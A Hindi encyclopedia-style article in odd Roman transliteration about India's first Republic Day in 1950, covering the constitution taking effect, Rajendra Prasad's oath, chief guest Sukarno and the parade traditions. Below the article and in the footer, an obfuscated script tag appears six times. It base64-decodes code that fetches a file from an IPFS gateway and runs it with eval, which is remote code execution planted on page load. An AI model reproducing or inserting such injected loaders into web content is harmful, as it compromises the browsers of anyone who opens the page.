भारत का प्रथम गणतंत्र दिवस
bharat ka pratham ganatantr divas
| |
| vivaran | pratyek varsh ka 26 janavari ek aisa din hai jab prathyek bharatiy ke man mean desh bhakti ki lahar aur matribhoomi ke prati apar shneh bhar uthata hai. |
| uddeshy | yah ayojan hamean desh ke sabhi shahidoan ke ni:shvarth balidan ki yad dilata hai, jinhhoanne azadi ke sangharsh mean apane jivan balidan kar die aur videshi akramanoan ke viruddh anek l daiyaan jiti. |
| itihas | 26 janavari, 1950 ko desh ka sanvidhan lagoo hua aur is prakar bharat sarakar ke sansadiy roop ke sath ek sanprabhutashali samajavadi loktaantrik ganatantr ke roop mean bharat desh samane aya. bharatiy sanvidhan, jise desh ki sarakar ki rooparekha ka pratinidhithv karane vale paryapht vichar vimarsh ke bad vidhan mandal dvara apanaya gaya, tab se 26 janavari ko bharat ke ganatantr divas ke roop mean bhari uthsah ke sath manaya jata hai aur ise rashhtriy avakash ghoshit kiya jata hai. |
| vishesh | pradhanamantri dvara ganatantr divas ki poorv sandhhya (25 janavari) par rashtr ke nam sandesh prasarit kiya jata hai. isake bad agale din, jo javan azadi ki l daee mean shahid hue unaki yad mean iandiya get par amar jyoti jalaee jati hai. isake shighr bad 21 topoan ki salami di jati hai aur rashtrapati mahoday dvara rashhtriy dhhvaj phaharaya jata hai evan rashhtragan hota hai. mahamahim rashtrapati ke sath ek ulhlekhaniy videshi rashtr pramukh ate haian, jinhhean ayojan ke mukhhy atithi ke roop mean amantrit kiya jata hai. |
| sanbandhit lekh | ganatantr divas, ganatantr divas par mukhy atithi, bitiang d ritrit, svatantrata divas, bharatiy kraanti divas, vijay divas, bharat ka vibhajan |
| any janakari | sabase pahali bar 21 topoan ki salami ke bad bharatiy rashhtriy dhhvaj ko d aau. rajendr prasad ne phahara kar 26 janavari, 1950 ko bharatiy ganatantr ke aitihasik janhm ki ghoshana ki. british raj se azadi pane ke 894 din bad hamara desh shvatantr rajhy bana. tab se har varsh poore rashhtr mean b de uthsah aur garv se yah din manaya jata hai. |
bharat ke pahale ganatantr divas par tatkalin gavarnameant haus (vartaman rashtrapati bhavan) jagamag roshani se gulajar tha jahaan bharat ke ganatantr ke roop mean duniya ke patal par ubharane ke sakshi rahe logoan mean iandoneshiya ke rashtrapati sukarno shamil the. ‘reminiseans aauph pharst ripablik de’ ke anusar, 26 janavari 1950 ko desh ke pahale ganatantr divas par tatkalin gavarnameant haus mean kee deshoan ke rajanayikoan aur sukarno sahit 500 se adhik atithi the. in sab atithiyoan ke bich desh ke aantim garvanar janaral si. rajagopalachari ne bharat ke ganatantr banane ki ghoshana karate hue kaha, ‘iandiya jo bharat hai, vah samprabhuta sampann lokataantrik ganatantr hoga.’ desh ke itihas ke us abhootapoorv kshan mean svatantr bharat ke pratham rashtrapati rajendr prasad ko pad evan gopaniyata ki shapath dilayi gee. bharat ke pradhan nyayadhish nyayamoorti hiralal kaniya ne hindi mean shapath dilayi. is mauke par rajendr prasad kali achakan, ujala choo didar pajama aur saphed gaandhi topi pahane hue the. 20vian shatabdi ke us aitihasik kshan ke gavahoan mean nivartaman garvanar jalaral si. rajagopalachari, pratham pradhanamantri pandit javaharalal neharoo, upapradhanamantri saradar ballabhabhaee patel, kaibinet mantri, uchchatam nyayalay ke nyayadhish, bharat ke aauditar janaral adi maujood the. is avasar par pandit neharoo aur unake mantrimandal ke sadasyoan ko pad evan gopaniyata ki shapath bhi dilayi gee. lokasabha ke pahale adhyaksh ji.vi. mavalankar bhavy darabar hal mean pahali pankti mean baithe hue the. darabar hal mean harsh aur ullas ke avismaraniy drishy tha. desh ke vibhinn kshetroan se b di sankhya mean ae log rashtrapati bhavan parisar ke asapas ekatr the. bad mean hajaroan ki sankhya mean logoan ne mahatma gaandhi ki samadhi ‘rajaghat’ jakar apane pyare bapoo ko shraddhaanjali arpit ki. darabar hal mean pahali bar rashtriy pratik (char sher mukh vale ashok stambh) ko us sthan par rakha gaya jahaan british vayasaray baitha karate the. pahali bar hi vahaan sianhasan ke pichhe muskurate buddh ki moorti bhi rakhi gee thi. pratham rashtrapati rajendr prasad ne sabhi upasthit logoan ka hath jo dakar abhivadan kiya aur hindi evan aangreji mean sankshipt bhashan diya. dilli samet desh ke anek sthanoan par desh ke pratham ganatantr divas ke avasar par prabhat pheri bhi nikali gee aur yah paranpara aj bhi jari hai.[1]
utsav ayojan
jab 15 agast, 1947 ko bharat ko aangrezi shasan se mukti mili, tab hamare desh ka koee apana sanvidhan nahian tha. apana sanvidhan na hone ke karan ham apani prashasanik aur nyayik vyavastha ka kary aangrezoan dvara sanchalit nitiyoan ke anusar hi karate the. prashasanik roop se ham 26 janavari, 1950 ko svatantr hue. isi karan se bharatiy itihas mean 26 janavari, 1950 ka din atyant mahatvapoorn hai. is din bharat ke aantim gavarnar-janaral chakravarti rajagopalachari ne bharat ko ganatantr rashtr ghoshit kiya tha. yah din bharat ke lie aitihasik hai, kyoanki is din hamare desh ko pahali bar sanprabhu, dharm-nirapeksh, lokataantrik aur ganatantr rajy ghoshit kiya gaya tha. tab se lagatar is din ko ganatantr divas ke roop me manaya jata hai. 26 janavari, 1950 ko hamean bharat ka sanvidhan aur bharat ka pratham rashtrapati bhi mila. sach kaha jay to vastav mean hamean aangrezoan se azadi bhi isi din mili thi. pratham rashtrapati ke roop mean d aau. rajeandr prasad ne isi din iravin stedayim mean bharatiy tiranga phaharaya tha tatha sena dvara ki huee pared aur topoan ki salami bhi li thi. is pared mean sashastr sena ke tinoan baloan ne hissa liya tha. tab se lagatar is din bharatiy sena ke tinoan aang ne-ne karatab dikhakar apani karyakshamata ka parichay dete haian. rashtrapati d aau. rajeandr prasad ne usi din 26 janavari ko rashtriy avakash ghoshit kar diya. ganatantr divas ke din mukhy atithi bulane ki paranpara bhi isi din se shuroo huee thi. 1950 me pahale mukhy atithi ke roop mean iandoneshiya ke rashtrapati sukarno ae the to 2012 mean mukhy atithi ke roop mean thaeelaiand ki pahali mahila pradhanamantri yiangalak shinavatra ne shirakat ki.[2]
26 janavari, 1955 ko pahali bar pared rajapath se hokar gujara tha, tab se lagatar pared rajapath se hokar gujarata hai. pared ki shurooat rayasina hil se hoti hai aur vah rajapath, iandiya get se gujarati huee lal qila tak jati hai. isaka marg 8 kilomitar ka hai. suvidhaoan mean badhottari ke karan aj rashtrapati kar mean savar hote haian, jabaki pahale pared mean rashtrapati d aau. rajeandr prasad bagghi mean savar the. ganatantr divas samaroh ka aranbh "amar javan jyoti" par pradhanamantri dvara shahidoan ki shradaanjali dene se hota hai tatpashchath shahidoan ki yad mean do minat ka maun rakha jata hai. isake bad pradhanamantri iandiya get ate haian, jahaan 21 topoan ki salami di jati hai. rajyoan se ayi huee jhaankiyaan sabhi ka manamoh leti haian. in jhaankiyoan mean rajyoan mean hue vikas kary, sanskriti aur vividhata adi ko dikhaya jata hai. is din viroan ko ashok chakr, kirti chakr, paramavir chakr, vir chakr aur mahavir chakr se sammanit kiya jata hai. is din 24 bachchoan ko, jinaki umr 16 sal se kam hai, ko unake adamy sahas aur virata ke liye 'gita chop da' aur 'sanjay chop da avard' se sammanit kiya jata hai. samman svaroop bachchoan ko medal, pramanapatr aur nakad rashi di jati hai.
is din poore bharatavarsh mean rangarang utsav manaya jata hai. pratyek rajy mean rajyapal tiranga phaharate haian aur pared ki salami lete haian. yah rashtriy utsav tin dinoan tak chalata hai. 26 janavari ke bad 27 janavari ko en.si.si. kaidet kee karyakram pesh karate haian. aantim din 29 janavari ko vijay chauk par 'bitiang d ritrit seremani' hoti hai, jisamean baiand bhi shamil hota hai. poori duniya mean ganatantr divas ek aisa vishal utsav hai jo keval bharat mean hi dikhata hai.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ bharat ke ganatantr banane ke sakshi the sukarno (hiandi) zi nyooz. abhigaman tithi: 22 aprail, 2017.
- ↑ 26 janavari ka itihas (hiandi) sudhalok.blogspot.in. abhigaman tithi: 29 janavari, 2017.
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>